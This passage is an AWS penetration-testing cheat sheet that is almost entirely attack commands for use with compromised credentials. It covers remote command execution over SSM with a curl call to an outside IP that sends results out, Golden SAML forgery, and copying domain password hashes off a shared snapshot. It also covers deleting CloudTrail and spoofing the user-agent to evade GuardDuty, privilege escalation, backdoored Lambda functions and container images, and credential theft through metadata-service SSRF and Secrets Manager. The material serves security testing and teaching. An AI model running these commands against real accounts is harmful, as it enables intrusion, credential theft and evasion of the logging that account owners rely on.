2019-05-10 15:58:26,709 - 21345 - [INFO] -- gamelift.list_builds() worked!
2019-05-10 15:58:26,850 - 21345 - [INFO] -- cloudformation.list_stack_sets() worked!
2019-05-10 15:58:26,982 - 21345 - [INFO] -- directconnect.describe_locations() worked!
2019-05-10 15:58:27,021 - 21345 - [INFO] -- gamelift.describe_matchmaking_rule_sets() worked!
2019-05-10 15:58:27,311 - 21345 - [INFO] -- sqs.list_queues() worked!
```
## AWS - Mount EBS volume to EC2 Linux
:warning: EBS snapshots are block-level incremental, which means that every snapshot only copies the blocks (or areas) in the volume that had been changed since the last snapshot. To restore your data, you need to create a new EBS volume from one of your EBS snapshots. The new volume will be a duplicate of the initial EBS volume on which the snapshot was taken.
1. Head over to EC2 > Volumes and create a new volume of your preferred size and type.
2. Select the created volume, right click and select the "attach volume" option.
3. Select the instance from the instance text box as shown below : `attach ebs volume`
```powershell
aws ec2 create-volume snapshot-id snapshot_id --availability-zone zone
aws ec2 attach-volume -volume-id volume_id -instance-id instance_id --device device
```
4. Now, login to your ec2 instance and list the available disks using the following command : `lsblk`
5. Check if the volume has any data using the following command : `sudo file -s /dev/xvdf`
6. Format the volume to ext4 filesystem using the following command : `sudo mkfs -t ext4 /dev/xvdf`
7. Create a directory of your choice to mount our new ext4 volume. I am using the name “newvolume” : `sudo mkdir /newvolume`
8. Mount the volume to "newvolume" directory using the following command : `sudo mount /dev/xvdf /newvolume/`
9. cd into newvolume directory and check the disk space for confirming the volume mount : `cd /newvolume; df -h .`
## AWS - Copy EC2 using AMI Image
First you need to extract data about the current instances and their AMI/security groups/subnet : `aws ec2 describe-images --region eu-west-1`
```powershell
# create a new image for the instance-id
$ aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1
# add key to AWS
$ aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1
# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
$ aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1
# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01" --region eu-west-1
# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
```
## AWS - Instance Connect - Push an SSH key to EC2 instance
```powershell
# https://aws.amazon.com/fr/blogs/compute/new-using-amazon-ec2-instance-connect-for-ssh-access-to-your-ec2-instances/
$ aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq ".[][].Instances | .[] | {InstanceId, KeyName, State}"
$ aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds
```
## AWS - Lambda - Extract function's code
```powershell
# https://blog.appsecco.com/getting-shell-and-data-access-in-aws-by-chaining-vulnerabilities-7630fa57c7ed
$ aws lambda list-functions --profile uploadcreds
$ aws lambda get-function --function-name "LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY" --query 'Code.Location' --profile uploadcreds
$ wget -O lambda-function.zip url-from-previous-query --profile uploadcreds
```
## AWS - SSM - Command execution
:warning: The ssm-user account is not removed from the system when SSM Agent is uninstalled.
SSM Agent is preinstalled, by default, on the following Amazon Machine Images (AMIs):
* Windows Server 2008-2012 R2 AMIs published in November 2016 or later
* Windows Server 2016 and 2019
* Amazon Linux
* Amazon Linux 2
* Ubuntu Server 16.04
* Ubuntu Server 18.04
* Amazon ECS-Optimized
```powershell
$ aws ssm describe-instance-information --profile stolencreds --region eu-west-1
$ aws ssm send-command --instance-ids "INSTANCE-ID-HERE" --document-name "AWS-RunShellScript" --comment "IP Config" --parameters commands=ifconfig --output text --query "Command.CommandId" --profile stolencreds
$ aws ssm list-command-invocations --command-id "COMMAND-ID-HERE" --details --query "CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}" --profile stolencreds
e.g:
$ aws ssm send-command --instance-ids "i-05b████████adaa" --document-name "AWS-RunShellScript" --comment "whoami" --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1
```
## AWS - Golden SAML Attack
https://www.youtube.com/watch?v=5dj4vOqqGZw
https://www.cyberark.com/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-cloud-apps/
> Using the extracted information, the tool will generate a forged SAML token as an arbitrary user that can then be used to authenticate to Office 365 without knowledge of that user's password. This attack also bypasses any MFA requirements.
Requirement:
* Token-signing private key (export from personal store using Mimikatz)
* IdP public certificate
* IdP name
* Role name (role to assume)
```powershell
$ python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml
$ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
```
## AWS - Shadow Copy attack
Prerequisite:
* EC2:CreateSnapshot
* CloudCopy - https://github.com/Static-Flow/CloudCopy
1. Load AWS CLI with Victim Credentials that have at least CreateSnapshot permissions
2. Run `"Describe-Instances"` and show in list for attacker to select
3. Run `"Create-Snapshot"` on volume of selected instance
4. Run `"modify-snapshot-attribute"` on new snapshot to set `"createVolumePermission"` to attacker AWS Account
5. Load AWS CLI with Attacker Credentials
6. Run `"run-instance"` command to create new linux ec2 with our stolen snapshot
7. Ssh run `"sudo mkdir /windows"`
8. Ssh run `"sudo mount /dev/xvdf1 /windows/"`
9. Ssh run `"sudo cp /windows/Windows/NTDS/ntds.dit /home/ec2-user"`
10. Ssh run `"sudo cp /windows/Windows/System32/config/SYSTEM /home/ec2-user"`
11. Ssh run `"sudo chown ec2-user:ec2-user /home/ec2-user/*"`
12. SFTP get `"/home/ec2-user/SYSTEM ./SYSTEM"`
13. SFTP get `"/home/ec2-user/ntds.dit ./ntds.dit"`
14. locally run `"secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets'`, expects secretsdump to be on path
## Disable CloudTrail
```powershell
$ aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator
```
Disable monitoring of events from global services
```powershell
$ aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event
```
Disable Cloud Trail on specific regions
```powershell
$ aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west
```
## Cover tracks by obfuscating Cloudtrail logs and Guard Duty
:warning: When using awscli on Kali Linux, Pentoo and Parrot Linux, a log is generated based on the user-agent.
Pacu bypass this problem by defining a custom User-Agent (https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu.py#L1473)
```python
boto3_session = boto3.session.Session()
ua = boto3_session._session.user_agent()
if 'kali' in ua.lower() or 'parrot' in ua.lower() or 'pentoo' in ua.lower(): # If the local OS is Kali/Parrot/Pentoo Linux
# GuardDuty triggers a finding around API calls made from Kali Linux, so let's avoid that...
self.print('Detected environment as one of Kali/Parrot/Pentoo Linux. Modifying user agent to hide that from GuardDuty...')
```
## DynamoDB
> Amazon DynamoDB is a key-value and document database that delivers single-digit millisecond performance at any scale. It's a fully managed, multi-region, multi-active, durable database with built-in security, backup and restore, and in-memory caching for internet-scale applications. DynamoDB can handle more than 10 trillion requests per day and can support peaks of more than 20 million requests per second.
* list tables
```bash
$ aws --endpoint-url http://s3.bucket.htb dynamodb list-tables
{
"TableNames": [
"users"
]
}
```
* enumerate table content
```bash
$ aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'
{
"password": {
"S": "Management@#1@#"
},
"username": {
"S": "Mgmt"
}
}
```
## Security checks
Security checks from [DenizParlak/Zeus: AWS Auditing & Hardening Tool](https://github.com/DenizParlak/Zeus)
* Identity and Access Management
* Avoid the use of the "root" account
* Ensure multi-factor authentication (MFA) is enabled for all IAM users that have a console password
* Ensure credentials unused for 90 days or greater are disabled
* Ensure access keys are rotated every 90 days or less
* Ensure IAM password policy requires at least one uppercase letter
* Ensure IAM password policy requires at least one lowercase letter
* Ensure IAM password policy requires at least one symbol
* Ensure IAM password policy requires at least one number
* Ensure IAM password policy requires minimum length of 14 or greater
* Ensure no root account access key exists
* Ensure MFA is enabled for the "root" account
* Ensure security questions are registered in the AWS account
* Ensure IAM policies are attached only to groups or role
* Enable detailed billing
* Maintain current contact details
* Ensure security contact information is registered
* Ensure IAM instance roles are used for AWS resource access from instances
* Logging
* Ensure CloudTrail is enabled in all regions
* Ensure CloudTrail log file validation is enabled
* Ensure the S3 bucket CloudTrail logs to is not publicly accessible
* Ensure CloudTrail trails are integrated with CloudWatch Logs
* Ensure AWS Config is enabled in all regions
* Ensure S3 bucket access logging is enabled on the CloudTrail S3 bucket
* Ensure CloudTrail logs are encrypted at rest using KMS CMKs
* Ensure rotation for customer created CMKs is enabled
* Networking
* Ensure no security groups allow ingress from 0.0.0.0/0 to port 22
* Ensure no security groups allow ingress from 0.0.0.0/0 to port 3389
* Ensure VPC flow logging is enabled in all VPC
* Ensure the default security group of every VPC restricts all traffic
* Monitoring
* Ensure a log metric filter and alarm exist for unauthorized API calls
* Ensure a log metric filter and alarm exist for Management Consolesign-in without MFA
* Ensure a log metric filter and alarm exist for usage of "root" account
* Ensure a log metric filter and alarm exist for IAM policy changes
* Ensure a log metric filter and alarm exist for CloudTrail configuration changes
* Ensure a log metric filter and alarm exist for AWS Management Console authentication failures
* Ensure a log metric filter and alarm exist for disabling or scheduled deletion of customer created CMKs
* Ensure a log metric filter and alarm exist for S3 bucket policy changes
* Ensure a log metric filter and alarm exist for AWS Config configuration changes
* Ensure a log metric filter and alarm exist for security group changes
* Ensure a log metric filter and alarm exist for changes to NetworkAccess Control Lists (NACL)
* Ensure a log metric filter and alarm exist for changes to network gateways
* Ensure a log metric filter and alarm exist for route table changes
* Ensure a log metric filter and alarm exist for VPC changes
## AWSome Pentesting Cheatsheet
* Created by pop3ret
## Searching for open buckets
```
https://buckets.grayhatwarfare.com/
```
## ARN
A number to identify an object in AWS
Example
```
arn:aws:iam:100:user/admin
```
1. Field -> ARN
2. Field -> Type, most of time will be AWS
3. Field -> service, in this case IAM
4. Field -> User ID
5. Field -> entity identifier
## IAM
* It's assumed that we have gain access to the AWS Credentials
* We can see if we have permissions using [Amazon's policy simulator](**[https://policysim.aws.amazon.com/](https://policysim.aws.amazon.com/)**)
* Always look for policies and roles with the * symbol.
* See which user do not have MFA enabled
* User enumeration in IAM Panel and group enumeration
* We can also enumerate roles from the same interface
* Root user is super admin
## Configure AWS cli
```
aws configure
```
Or configure it using a profile
```
aws configure --profile example_name
```
The credential file is located in `~/.aws/credentials`
## Listing IAM access Keys
```
aws iam list-access-keys
```
## 1. Enumerating IAM users
### Checking credentials for the user
```
aws sts get-caller-identity
```
### Listing IAM Users
```
aws iam list-users
```
### Listing the IAM groups that the specified IAM user belongs to
```
aws iam list-groups-for-user --user-name user-name
```
### Listing all manages policies that are attached to the specified IAM user
```
aws iam list-attached-user-policies --user-name user-name
```
### Listing the names of the inline policies embedded in the specified IAM user
```
aws iam list-user-policies --user-name user-name
```
## 2. Enumerating Groups IAM
### Listing IAM Groups
```
aws iam list-groups
```
### Listing all managed policies that are attached to the specified IAM Group
```
aws iam list-attached-group-policies --group-name group-name
```
### Listing the names of the inline policies embedded in the specified IAM Group
```
aws iam list-group-policies --group-name group name
```
## 3. Enumeratig Roles
### Listing IAM Roles
```
aws iam list-roles
```
### Listsing all managed policies that are attached to the specified IAM role
```
aws iam list-attached-role-policies --role-name role-name
```
### Listing the names of the inline policies embedded in the specified IAM role
```
aws iam list-role-policies --role-name role-name
```
## 4. Enumerating Policies
### Listing of IAM Policies
```
aws iam list-policies
```
### Retrieving information about the specified managed policy
```
aws iam get-policy --policy-arn policy-arn
```
### Listing information about the versions of the specified manages policy
```
aws iam list-policy-versions --policy-arn policy-arn
```
### Retrieving information about the specific version of the specified managed policy
```
aws iam get-policy-version --policy-arn policy-arn --version-id version-id
```
### Retrieving the specified inline policy document that is embedded on the specified IAM user / group / role
```
aws iam get-user-policy --user-name user-name --policy-name policy-name
aws iam get-group-policy --group-name group-name --policy-name policy-name
aws iam get-role-policy --role-name role-name --policy-name policy-name
```
## 5. Exploitation Scenario
### General Guidelines
* AWS token compromised (Developer machine, phishing etc) and we as attackers will gonna use it.
### Enumerating the owner of the key and initial compromise
```
aws sts get-caller-identity
```
Or specifing a profile
```
aws sts get-caller-identity --profile example_name
```
If you have the password of the root account instead of key, log in
```
https://signin.aws.amazon.com/console
```
Or use the IAM in case the account is not the root
```
https://account-id-here.signin.aws.amazon.com/console
```
*The account id can be cathered using the sts get caller command.*
### Privilege Escalation
* Privilege escalation on AWS is based on misconfigurations, if we have more permissions than necessary, its possible to obtain higher privileges.
#### Study Case
* A user was compromised with the *List Policy* and *Put User Policy* permissions, an attacker could leverage this *Put User* privilege to add an inline administrator to itself, making it administrator of the instance.
##### Exploitation
1. Getting the IAM user
```
aws sts get-caller-identity
```
2. Listing policies attached to an user
```
aws iam list-attached-user-policies --user-name example_name -- profile example_profile
```
3. Retrieving informations about an specific policy
```
aws iam get-policy --policy-arn policy_arn
```
If there are more than one version of the policy, we can also list them
```
aws iam list-policy-versions --policy-arn policy_arn
```
Now we can finally retrieve the contents of the policy
```
aws iam get-policy-version --policy-arn example_arn --version-id id_example
```
*It's important to use the command above to chech the information about the default policy*
4. Escalation
If we have the PutUserPolicy is enabled, we can add an inline administrator policy to our user.
Administrator policy example
```json
{
"Version": "2021-10-17",
"Statement" : [
{
"Effect":"Allow",
"Action": [
"*"
],
"Resource":[
"*"
]
}
]
}
```
### Attaching this policy into our user
```
aws iam put-user-policy --user-name example_username --policy-name example_name --policy-document file://AdminPolicy.json
```
### Listing inline policies of our user
```
aws iam list-user-policies --user-name example_name
```
### Listing a restricted resource (Example S3)
```
aws s3 ls --profile example_profile
```
### Interesting Permissions
* iam:AttachUserPolicy -> Attach a policy to a user
* iam:AttachGroupPolicy -> Attach a policy to a group
* iam:AttachRolePolicy -> Attach a policy to a role
* iam:CreateAccessKey -> Creates a new access key
* iam:CreateLoginProfile -> Creates a new login profile
* iam:UpdateLoginProfile -> Update an existing login profile
* iam:PassRole and ec2:RunInstances -> Creates an EC2 instance with an existing instance profile
* iam:PuserUserPolicy -> Create/Update an inline policy
* iam:PutGroupPolicy -> Create/Update an inline policy for a group
* iam:PutRolePolicy -> Create/Update an inline policy for a role
* iam:AddUserToGroup -> Add an user to a group
* iam:UpdateAssumeRolePolicy and sts:AssumeRole -> Update the AssumeRolePolicyDocument of a role
* iam:PassRole,lambda:CreateFunction and lambda:InvokeFunction -> Pass a role to a new lambda function and invoke it
* lambda:UpdateFunctionCode -> Update the code of an existing lambda function
### Persistence & Backdooring
* Suppose we have two users, the user A has permissions to create Access Keys to user B, this misconfig allows us to create an access key for user B and persist our access.
#### Creating a new access key for another user
```
aws iam create-access-key --username example_username
```
#### Configuring AWS cli for the new user
```
aws configure --profile example_profile
```
*Remember, an user can have the maximum of 2 access keys*.
#### Testing the credential
```
aws sts get-caller-identity --profile example_profile
```
#### Accessing more credentials
* It's possible to assume other roles with the sts:AssumeRole permission (Example: An user doesn't have access to an s3 instance, but it has this permission, we can easily assume other roles if we are in the trust relashionship, increasing our access in the instance)
##### Listing managed policies attached to an user
```
aws iam list-attached-user-policies --user-name example_name
```
##### Retrieving information about an specific policy
```
aws iam get-policy --policy-arn ARN
```
##### Listing information about the version of the policy
```
aws iam list-policy-versions --policy-arn ARN
```
##### Retrieving information about an specific version
```
aws iam get-policy-version --policy-arn policy_arn --version-id ID
```
##### Listing IAM roles
```
aws iam list-roles
```
##### Listing trust relashionship between role and user (Which roles we can assume)
```
aws iam get-role --role-name role_name
```
##### Listing all managed policies attached to the specific IAM role
```
aws iam liast-attached-role-policies --role-name role_name
```
##### Retrieving information about the specified version of the policy
```
aws iam get-policy-version --policy-arn policy_arn --version-id ID
```
##### Getting temporary credentials for the role
```
aws sts assume-role --role-arn role_arn --role-session-name session_name
```
##### Configuring AWS cli with newer credentials (On Linux)
```
export AWS_ACCESS_KEY_ID
export AWS_SECRET_KEY
export AWS_SESSION_TOKEN
```
##### Getting information about the temporary credential
```
aws sts get-caller-identity
```
## S3 - Simple Storage System
* Storage system that allow users to store and retrieve data.
* List,Get,Put and Delete operations can be performed on the objects of the bucket
* Buckets are global, meaning that they are available to all regions
* It's possible to bruteforce the bucket name and region in the URL
* Its possible to apply ACL's to bucket and object level and bucket policies for bucket level
* There is also time limited URL's and identity based policies
* Identity policies are enumerated using IAM commands
## Enumeration
### Listing all buckets in aws account
```
aws s3api list-buckets
```
### Getting information about a specific bucket
```
aws s3api get-bucket-acl --bucket name
```
### Getting information about a specific bucket policy
```
aws s3api get-bucket-policy --bucket name
```
### Getting the Public Access Block configuration for an S3 bucket
```
aws s3api get-public-access-block --bucket name
```
### Listing all objects in a specific bucket
```
aws s3api list-objects --bucket name
```
### Getting ACL information about specific object
```
aws s3api get-object-acl --bucket-name name --key object_name
```
## Data Exfiltration
* It's possible to brute-force files in the bucket
* If the bucket is misconfigured, we can read data through web browser, cli/api or time-based URL.
### Public Access
* Just enter the URL in the browser
```
https://bucket-name.region.amazonaws.com/secret.txt
```
### Authenticated User
```
aws s3api get-object --bucket name --key object-name download-file-location
```
### Time-Based Url
* Generate a time based url for an object
* Userful if the object is not public
```
aws s3 presign s3://bucket-name/object-name --expires-in 605000
```
## Lambda & API Gateway
* Serverless event driven platform
* Runs code in response to events and automatically manages computing resources required by that code
* Can trigger from other AWS services or call directly from the API Gateway
* A lambda function is a piece of code that is executed whenever is triggered by an event from an event source
* API Gateway is an AWS service for creating, publishing, maintaining, monitoring and securing REST, HTTP and WebSocket API
* API Gateway can be used to trigger lambda functions in a synchronous (api gateway), asynchronous (event) or stream (Poll Based) way.
* If we found a lambda function that access an S3 (Example) its possible to change its code and gain access to the files.
* If API Gateway is used, we can enumerate the API to see how its possible to invoke the lambda function (Craft the URL).
## Enumeration
### Listing All lambda functions
```
aws lambda list-functions
```
### Listing information about a specific lambda function
```
aws lambda get-function --function-name function_name
```
* *This command enables us to download the source code of the lambda function*
### Listing policy information about the function
```
aws lambda get-policy --function-name function_name
```
* We can get informations like who can execute this functions, ID and other informations with this command
### Listing the event source mapping information about a lambda function
```
aws lambda list-event-source-mappings --function-name function_name
```
### Listing Lambda Layers (Depedencies)
```
aws lambda list-layers
```
### Listing full information about a lambda layer
```
aws lambda get-layer-version --layer-name name --version-number version_number
```
### Listing Rest API'S
```
aws apigateway get-rest-apis
```
### Listing information about a specific API
```
aws apigateway get-rest-api --rest-api-id ID
```
### Listing information about endpoints
```
aws apigateway get-resources --rest-api-id ID
```
### Listing information about a specific endpoint
```
aws apigateway get-resource --rest-api-id ID --resource-id ID
```
### Listing method information for the endpoint
```
aws apigateway get-method --rest-api-id ApiID --resource-id ID --http-method method
```
* Test various methods to see if the API supports it.
### Listing all versions of a rest api
```
aws apigateway get-stages --rest-api-id ID
```
### Getting informatin about a specific version
```
aws apigateway get-stage --res-api-id ID --stage-name NAME
```
### Listing API KEYS
```
aws apigateway get-api-keys --include-values
```
### Getting information about a specific API Key
```
aws apigateway get-api-key --api-key KEY
```
## Initial Access
* Its possible to get RCE through API Gateway if it executes commands.
* If you can execute commands, there is a way to retrieve keys from the API Gateway, just use `env` , configure `aws cli` and proceed with the exploitation.
## Credential Access
Getting credentials from Lambda can be done in 2 ways
1. Keys in the source code
2. Keys in the enviroment variables
These keys can be gathered using SSRF, RCE and so on.
### Getting credentials using RCE
```
https://apigateway/prod/system?cmd=env
```
### Getting credentials using SSRF
```
https://apigateway/prod/example?url=http://localhost:9001/2018-06-01/runtime/invocation/next
```
### Getting credentials using SSRF and wrappers
```
https://apigateway/prod/system?cmd=file:///proc/self/environ
```
### Getting credentials from lambda enviroment variables (cli)
```
aws lambda get-function --function-name NAME
```
* It's important to enumerate the functions first with `aws lambda list-functions`
## Persistence
* If the user has sufficient rights in the lambda function, its possible to download the source code, add a backdoor to it and upload. Everytime the lambda executes, the malicious code will also execute.
* Always try to update the code of layers (depedencies) instead of the actual lambda code, this way our backdoor will be difficult to detect.
### Checking which user is executing
```
aws sts get-caller-identity
```
### Checking all managed policies attached to the user
```
aws iam list-attached-user-policies --user-name user_name
```
### Checking informations about a specific policy
```
aws iam get-policy-version --policy-arn arn --version-id ID
```
### Listing all lambda functions
```
aws lambda list-functions --region region
```
### Listing information about the specified lambda
```
aws lambda get-function --function-name name
```
* Download and analyze the codes
### Listing policy information about the specific lambda function
```
aws lambda get-policy --function-name name --profile profile --region region
```
* We can grab informations like id, who can invoke and other details with this command (Helps to build the query to execute the lambda function).
### Listing Rest API'S
```
aws apigateway get-rest-apis
```
### Listing information about a specific API
```
aws apigateway get-rest-api --rest-api-id ID
```
### Listing information about endpoints
```
aws apigateway get-resources --rest-api-id ID
```
### Listing information about a specific endpoint
```
aws apigateway get-resource --rest-api-id ID --resource-id ID
```
### Listing method information for the endpoint
```
aws apigateway get-method --rest-api-id ApiID --resource-id ID --http-method method
```
* Test various methods to see if the API supports it.
### Listing all versions of a rest api
```
aws apigateway get-stages --rest-api-id ID
```
### Getting informatin about a specific version
```
aws apigateway get-stage --res-api-id ID --stage-name NAME
```
### Uploading the backdoor code to aws lambda function
```
aws lambda update-function-code --function-name function --zip-file fileb://my-function.zip
```
### Invoke the Function
```
curl https://uj3948ie.execute-api.us-east-2.amazonaws.com/default/EXAMPLE
```
Where
1. API-ID -> uj3948ie
2. Region -> us-east-2
3. Resource (Endpoint) -> EXAMPLE
4. Method -> Get
5. Stage (Version) -> default
6. API-Key -> None
*All these details are gathered during the enumeration.*
## Privilege Escalation
* If we have a user with PassRole and CreateFunction roles and also AttachRolePolicy role in a Lambda Function, its possible to create a function with a code that changes the lambda role to admin then the user to Administrator.
### Create a lambda function and attach a role to it
```
aws lambda create-function --function-name my-function --runtime python3.7 --zip-file fileb://my-function.zip --handler my-function.handler --role ARN --region region
```
* Inside the function's code, we will add the administrator permission to the role and to the user
#### Example code to add the permissions
```python
import boto3
import json
def handler(event,context)
iam = boto3.client("iam")
iam.attach.role.policy(RoleName="name",PolicyArn="arn",)
iam.attach.user.policy(UserName="name",PolicyArn="arn",)
return {
'statusCode':200
'body':json.dumps("Pwned")
}
```
### Invoke a lambda function
```
aws lambda invoke --function-name name response.json --region region
```
### Listing managed policies to see if the change worked
```
aws iam list-attached-user-policies --user-name user_name
```
## AWS Secret Manager
* AWS Service that encrypts and store secrets
* Transparently decrypts and return in plaintext
* KMS used to store keys (AWS Key and Customer Managed Key)
* Asymmetric and Symmetric keys can be created using KMS
## Enumeration
### Listing all secrets stored by Secret Manager
```
aws secretsmanager list-secrets
```
### Listing information about a specific secret
```
aws secretsmanager describe-secret --secret-id name
```
### Getting policies attached to the specified secret
```
aws secretsmanager get-resource-policy --secret-id ID
```
### Listing keys in KMS
```
aws kms list-keys
```
### Listing information about a specific key
```
aws kms describe-key --key-id ID
```
### Listing policies attached to a specific key
```
aws kms list-key-policies --key-id ID
```
### Getting full information about a policy
* Shows who can access the keys
```
aws kms get-key-policy --policy-name name --key-id ID
```
## Credential Exfiltration
* If the user has access to Secret Manager, it can decrypt the secrets using the web, cli or API
### Listing policies attached to an user
```
aws iam list-attached-user-policies --user-name name
```
### Retrieving information about a specific version of policy
* Here we can see the permissions
```
aws iam get-policy-version --policy-arn arn --version-id id
```
### Listing all secrets stored by Secret Manager
```
aws secretsmanager list-secrets
```
### Listing information about a specific secret
* Here we get the secret Key Id to descript the secret
```
aws secretsmanager describe-secret --secret-id name
```
### Getting resource-based policy attached to an specific secret
```
aws secretsmanager get-resource-policy --secret-id ID
```
### Getting the secret value
* Retrieves the actual value
```
aws secretsmanager get-secret-value --secret-id ID
```
### KMS
* If we compromised as an example an S3 with an encrypted file, we can decrypt it using the keys stored in KMS.
#### Listing an specific key
```
aws kms describe-key --key-id id
```
#### Listing policies attached to an specified key
* Here we can see who can access the key, the description of it and so on
```
aws kms list-key-policies --key-id ID
```
#### Listing full information about a policy
* Run the previous command in all keys to see who can access it
```
aws kms get-key-policy --policy-name name --key-id ID
```
#### Decrypt the secret using the key
* There is no need to specificy the key information because this information is embbeded in the encrypted file
```
aws kms decrypt --ciphertext-blob fileb://EncryptedFile --output text --query plaintext
```
## Containers
Divided into three categories
* Registry -> Secure place to store container images (ECR)
* Orchestration -> Configure when and where the containters run (ECS,EKS)
* Compute -> Use to do computing related tasks (EC2, Fargate)
* Its possible to create a backdoor image and add to a EKS cluster
* Always look how VPC's are communicatig with each other, maybe is possible to pivot through the EKS VPC from other VPC and compromise the entire cluster
## Initial Access
* The initial access can be done by exploiting some RCE in webapp to get access to the container, afterwards its possible to compromise the EC2.
After the RCE, we can list all secrets in EKS
```
https://website.com?rce.php?cmd=ls /var/run/secrets/kubernets.io/serviceaccount
```
### Getting the secret information from EKS
```
https://website.com?rce.php?cmd=ls /var/run/secrets/kubernets.io/serviceaccount/token
```
* It's also possible to do sandbox escaping (Tool: ``deepce``)
## Enumeration
### ECR
#### Listing all repositories in container registry
```
aws ecr describe-repositories
```
#### Listing information about repository policy
```
aws ecr get-repository-policy --repository-name name
```
#### Listing all images in a specific repository
```
aws ecr list-images --repository-name name
```
#### Listing information about an image
```
aws ecr describe-images --repository-name name --images-ids imageTag=name
```
### ECS
#### Listing all ECS clusters
```
aws ecs list-clusters
```
#### Listing information about an specific cluster
```
aws ecs describe-clusters --cluster name
```
#### Listing all services in specified cluster
```
aws ecs list-services --cluster name
```
#### Listing information about an specific service
```
aws ecs descibe-services --cluster name --services name
```
* This command shows the logs of the service
#### Listing tasks in specific cluster
```
aws ecs list-tasks --cluster name
```
#### Listing information about an specific task
```
aws ecs describe-tasks --cluster name -tasks taskArn
```
* Also shows information about network, userful if trying to pivot
#### Listing all containers in specified cluster
```
aws ecs list-container-instances --cluster name
```
### EKS
#### Listing all EKS clusters
```
aws eks list-clusters
```
#### Listing information about an specific cluster
```
aws eks describe-cluster --name name
```
#### Listing all node groups in specified cluster
```
aws eks list-nodegroups --cluster-name name
```
#### Listing specific information about a node group in a cluster
```
aws eks describe-nodegroup --cluster-name name --nodegroup-name name
```
#### Listing Fargate in specified cluster
```
aws eks list-fargate-profiles --cluster-name cluster-name
```
#### Listing information about a fargate profile in a cluster
```
aws eks describe-fargate-profiles --cluster-name name --fargate-profile-name name
```
## Persistence
* It's possible to modify an existing docker image with a backdoor, when this image is used it will trigger our team server.
### Enumerating the user
```
aws sts get-caller-identity
```
### Listing manager policies attached to the IAM role
```
aws iam list-attached-role-policies --role-name name
```
### Getting information about the version of the managed policy
```
aws iam get-policy-version --policy-arn arn --version-id id
```
### Getting information about the repositories in container registry
```
aws ecr describe-repositories
```
### Listing all images in the repository
```
aws ecr list-images --repository-name name
```
### Listing information about an image
```
aws ecr describe-images --repository-name name --image-ids imageTag=Name
```
### Authenticate the docker daemon to ECR
```
aws ecr get-login-password --region region | docker login --username AWS --password-stdin ecr_address
```
### Building images with backdoor
```
docker build -t image_name
```
### Tagging the docker image
```
docker tag image_name ecr_addr:Image_Name
```
### Pushing the image to ECR
```
docker push ecr_addr:Image_Name
```
## EC2
* AMI, images used to create virtual machines
* It's possible to create a malicious image to compromise users
* We can access an instance using SSH Keys, EC2 Instance Connect, Session Manager
* The SSH Key method is permanent, we need to gather the private key to connect to the instance
* EC2 Instance connect is an IAM right that we can add to a user, enabling us to temporarily connect to an instance
* Session manager only work in browser and it does not need SSH Key
* Windows machines can be accessed by using RDP, Session Manager
* Security Groups acts as a virtual firewall to control inbound and outbound traffic, acts at the instance level, not the subnet level.
## Enumeration
### Listing information about all instances
```
aws ec2 describe-instances
```
### Listing information about a specific region
```
aws ec2 describe-instances --region region
```
### Listing information about specific instance
```
aws ec2 describe-instances --instance-ids ID
```
### Extracting UserData attribute of specified instance
```
aws ec2 describe-instance-attribute --attribute userData --instance-id instanceID
```
*This command gathers the metadata from the instance, like commands or secrets. The output is base64 encoded*
### Listing roles of an instance
```
aws ec2 describe-iam-instance-profile-associations
```
## Exploitation
* Initial access can happen by RCE or SSRF
* Metadata can be used to exfiltrate information from the instance
### Remote code execution
#### AWS Metadata
If we have remote code execution or SSRF, we can grab metadata information
```
curl http://169.254.169.254/latest/meta-data
```
##### Grabbing the keys to access the instance
```
curl http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
```
##### Grabbing the keys in metadata version 2
```bash
TOKEN=`curl
X PUT "http://169.254.169.254/latest/ api /token" H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
&& curl H "X-aws-ec2-metadata-token: $TOKEN" v http://169.254.169.254/latest/meta-data/
```
#### AWS Userdata
Version 1
```
curl http://169.254.169.254/latest/user-data/
```
Version 2
```bash
TOKEN=`curl
X PUT "http://169.254.169.254/latest/ api /token" H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
&& curl H "X-aws-ec2-metadata-token: $TOKEN" v http://169.254.169.254/latest/user-data/
```
### Privilege Escalation
* One approach to get a shell in a instance is to put a reverse shell in UserData attribute, when the instance is launched, we will have the connection.
* Another approach happens when we have the iam:PassRole and iam:AmazonEC2FullAccess permissions, we can add an administrator role to the compromised EC2 instance and access aws services.
#### Getting information about the key
```
aws sts get-caller-identity
```
#### Getting policies attached to the IAM user
```
aws iam list-attached-user-policies --user-name user_name
```
#### Getting information about a specific policy version
```
aws iam get-policy-version --policy-arn ARN --version-id ID
```
